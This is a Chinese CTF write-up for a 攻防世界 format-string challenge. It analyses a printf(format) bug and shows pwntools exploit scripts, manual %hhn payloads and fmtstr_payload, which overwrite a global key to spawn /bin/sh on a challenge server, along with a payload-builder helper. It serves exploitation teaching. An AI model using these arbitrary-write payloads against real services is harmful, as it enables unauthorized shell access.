攻防世界高手进阶区 ——实时数据检测

image-20220213131244525

1.分析文件

  1. 先checksec一下image-20220213131511294发现啥都没有开,完全就是裸奔。

  2. 运行一下image-20220213131554713运行发现就是想要把key的值改为0x2223322。

  3. 直接上ida

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    int locker()
    {
    char s[520]; // [esp+0h] [ebp-208h] BYREF

    fgets(s, 512, stdin);
    imagemagic(s); // 存在格式化字符串漏洞
    if ( key == 0x2223322 )
    return system("/bin/sh");
    else
    return printf(format, &key, key);
    }

    当key=0x2223322时,获得shell。

    1
    2
    3
    4
    int __cdecl imagemagic(char *format)
    {
    return printf(format);
    }

    跟进函数imagemagic发现存在格式化字符串漏洞。

2.解题思路

利用文件暴露出来的key的地址,或者ida分析出来的key的地址来改写key的值。

image-20220213132211690

可以利用格式化字符%n来改变key的值。

ps:

%n - 到目前为止所写的字符数

%n的作用是将前面的字符数写到对应参数地址上。

由于0x2223322太大了,于是这里用到格式化字符串漏洞的覆盖任意地址漏洞的覆盖大数字漏洞

变量在内存中都是以字节的格式存储的,在 x86、x64 中是按照小端存储的,格式化字符串里面有两个标志用的上了:
h:对于整数类型,printf 期待一个从 short 提升的 int 尺寸的整型参数
hh:对于整型类型,printf 期待一个从 char 提升的 int 尺寸的整形参数

意思是说:hhn 写入的就是单字节,hn 写入的就是双字节。

3.两种wp

  • 手动计算偏移量和构造格式化字符漏洞payload

    1
    2
    3
    4
    5
    6
    7
    8
    9
    from pwn import *
    sh = remote('111.200.241.244',50009)
    #sh = process('./SSSJ')
    key_addr = 0x804a048

    payload = p32(key_addr) + p32(key_addr + 1) + p32(key_addr + 2) +p32(key_addr + 3)
    payload += '%18x' + '%12$hhn' + '%17x' + '%13$hhn' + '%239x' + '%14$hhn' + '%224x' + '%15$hhn'
    sh.sendline(payload)
    sh.interactive()

    首先利用AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p来找出偏移量。

    然后通过%nx来快速填充空间。

  • 通过pwntools自带的函数来快速构造exp

    1
    2
    3
    4
    5
    from pwn import *
    sh = remote('111.200.241.244',50009)
    #sh = process('./SSSJ')
    sh.sendline(fmtstr_payload(12, {0x804A048:0x2223322}))
    sh.interactive()

    fmtstr_payload(偏移,{原地址:目的地址})

想去了解fmtstr_payload函数的师傅

下面附有函数源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr


def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload